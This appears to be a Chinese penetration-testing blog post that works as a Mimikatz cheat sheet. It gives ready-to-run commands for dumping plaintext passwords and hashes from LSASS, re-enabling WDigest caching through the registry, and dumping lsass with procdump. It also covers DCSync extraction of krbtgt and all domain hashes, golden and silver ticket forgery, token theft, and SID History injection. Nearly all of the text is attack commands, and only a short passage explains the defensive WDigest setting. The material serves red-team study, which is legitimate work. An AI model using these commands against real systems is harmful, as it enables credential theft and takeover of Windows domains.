Mimikatz工具介绍

2024-08-18 21:44:38 浏览数 (2)

Mimikatz工具介绍

1工具简介

Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能

强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具。

注意:

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取

明文

代码语言:html复制
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

2 、Mimikatz命令

代码语言:html复制
cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 退出
提升权限 命令:privilege::debug 

mimikatz许多功能都需要管理员权限,如果不是管理员权限不能debug

3示例

1. 抓取明文密码

在windows2012以上的系统不能直接获取明文密码了,当可以搭配procdump mimikatz获取密码。

代码语言:html复制
mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

示例:windows 7

分析命令执行后的内容:

代码语言:html复制
msv:这项是账户对应密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
tspkg,wdigest,kerberos:这个就是账户对应的明文密码了。有的时候这三个对应的也不是全部都是一样的,
需要看服务器是什么角色。
SSP:是最新登录到其他RDP终端的账户和密码

2. 模块

代码语言:html复制
sekurlsa模块
sekurlsa::logonpasswords
抓取用户NTLM哈希
sekurlsa::msv
加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
导出lsass.exe进程中所有的票据
sekurlsa::tickets /export

kerberos模块

代码语言:html复制
列出系统中的票据
kerberos::list
kerberos::tgt
清除系统中的票据
kerberos::purge
导入票据到系统中
kerberos::ptc 票据路径

lsadump模块

代码语言:html复制
在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:kevin.com /user:root
(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch
从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive
从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

wdigest

WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证。默认情况下,Microsoft在多

个版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中启用了此

协议,这意味着纯文本密码存储在LSASS(本地安全授权子系统服务)进程中。 Mimikatz可以与LSASS交互,允许

攻击者通过以下命令检索这些凭据

代码语言:html复制
mimikatz #privilege::debug
mimikatz #sekurlsa::wdigest

在windows2012系统以及以上的系统之后这个默认是关闭的如果在 win2008 之前的系统上打了 KB2871997

补丁,那么就可以去启用或者禁用 WDigest。Windows Server2012及以上版本默认关闭Wdigest,使攻击

者无法从内存中获取明文密码。Windows Server2012以下版本,如果安装了KB2871997补丁,攻击者同样

无法获取明文密码。配置如下键值:

代码语言:html复制
HKEY_LOCAL_MACHINESystemCurrentControlSetControlSecurityProvidersWDigest

UseLogonCredential 值设置为 0, WDigest 不把凭证缓存在内存;UseLogonCredential 值设置为 1,

WDigest 就把凭证缓存在内存。

使用powershell进行更改

4常用模块

1. standard模块

这些standard命令几乎不常用 但是需要提一下base64

代码语言:html复制
# 查看base64的支持
base64
# input 支持base64
base64 /input:on
# output 支持base64
base64 /output:on
# input 不支持base64
base64 /input:off
# output 不支持base64
base64 /output:off

2. 其他模块

• crypto 加密模块

• sekurlsa 用来枚举凭据的命令

• kerberos包模块

• ngc 下一代密码学模块

• privilege 提权模块

• process 进程模块

• service 服务模块

• lsadump模块

• ts 终端服务器模块

• event 事件模块

• misc 杂项模块

• token 令牌操作模块

• vault Windows凭据模块

• minesweeper模块

• dpapi模块

• busylight模块

• sysenv 系统环境值模块

• sid 安全标识符模块

• iis IIS XML配置模块

• rpc RPC控制

• sr98设备和T5577目标模块

• acr ACR模块

其中常用的是privilege、sekurlsa、kerberos、lsadump、token、sid模块

1. privilege模块

该模块是用于提权的模块,很多模块需要高权限运行,所以要先进行提权,只能用具有管理员权限的命令行

窗口才可以执行成功,普通用户使用提权命令会失败

代码语言:html复制
privilege::debug
2. sekurlsa模块

使用该模块需要高权限,因此需要执行提权命令,如下是常用命令

代码语言:html复制
# 只抓取内存中保存的用户明文密码
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
# 只抓取内存中保存的用户Hash
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit
# 只抓取内存中保存的用户密码的Key值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit
# 抓取内存中保存的用户所有凭据
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# 加载dmp文件,并导出其中的明文密码
procdump.exe -accepteula -ma lsass.exe lsass.dmp
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
# 导出lsass.exe 进程中所有的票据
sekurlsa::tickets /export

从server2012开始,默认情况下,内存中不保存用户的 明文密码

3. kerberos模块

该模块是与Kerberos相关的模块

代码语言:html复制
# 查看内存中的kerberos TGT
mimikatz.exe "kerberos::tgt" exit
# 查看内存中所有的Kerberos票据
mimikatz.exe "kerberos::list" exit
# 清除票据
mimikatz.exe "kerberos::purge" exit
# 将票据注入到内存中
mimikatz.exe "kerberos::ptt administrator.kirbi" exit
# 黄金票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid /krbtgt:krbtgt的哈希或AES
Key /ptt
# 白银票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid /target:服务机器
/service:指定服务如cifs、ldap /rc4:服务账户的Hash /ptt
4. lsadump模块

改模块是对Local Security Authiruty(LSA)进行密码抓取的模块

代码语言:html复制
# 通过DSync导出指定用户的Hash,格式化输出
lsadump::dcsync /domain:god.org /user:krbtgt /csv
# 通过DSync导出指定用户的密码Hash的详细信息
lsadump::dcsync /domain:god.org /user:krbtgt
# 通过DSync导出所有用户的Hash
lsadump::dcsync /domain:god.org /all /csv
# 读取所有域用户的Hash,需要在域控上以管理员权限打开窗口
privilege::debug
lsadump::lsa /patch
# 从sam.hive和system.hive文件中获得NTLM Hash
reg save hklmsam sam.hive
reg save hklmsystem system.hive
lsadump::sam /sam:sam.hive /system:system.hive
# 从本地SAM文件中读取密码Hash
privilege::debug
token::elevate
lsadump::sam
5. token模块
代码语言:html复制
# 列出当前进程的token信息
token::whoami
token::whoami /full
# 列出当前系统中存在的token,高权限流出的token最全面
token::list
# 窃取指定token id的token
token::elevate /id
# 窃取System权限的token(默认)
token::elevate /system
# 窃取域管理员的token
token::elevate /domainadmin
# 窃取企业管理员的token
token::elevate /enterpriseadmin
# 窃取本地管理员的token
token::elevate /admin
# 窃取Local Service权限的token
token::elevate /localservice
# 窃取Network service权限的token
token::elevate /networkservice
# 恢复为之前的token
token::revert
6. sid模块
代码语言:html复制
# 查询指定对象的SID
sid::lookup /name:xuan
# 查询指定SID对应的对象
sid::lookup /sid:S-1-5-21-1982601180-2087634876-2293013296-1001
# 通过samAccountName属性查询对象的一些信息
sid::query /sam:lzx
# 通过SID属性查询对象的一些信息
sid::query /sid:S-1-5-21-2952760202-1353902439-2381784089-1109
# 通过samAccountName属性修改对象的SID
sid::patch
sid::modify /sam:liu /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 通过sid属性修改对象的SID
sid::patch
sid::modify /sid:S-1-5-21-1982601180-2087634876-2293013296-1001 /new:S-1-5-21-
2952760202-1353902439-2381784089-109
# 通过samAccountName属性给对象添加一个SID History属性
sid::patch
sid::add /sam:lzx /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 通过sid属性给对象添加一个SID History属性
sid::patch
sid::add /sid:S-1-5-21-1982601180-2087634876-2293013296-1001 /new:S-1-5-21-
2952760202-1353902439-2381784089-109
# 将administrator的SID添加到test的SID History属性中
sid::patch
sid::add /sam:lzx /new:administrator
# 清除指定samAccountName对象的SID History属性
sid::clear /sam:xuan
# 清除指定sid对象的SID History属性
sid::clear /sid:S-1-5-21-1982601180-2087634876-2293013296-1001

0 人点赞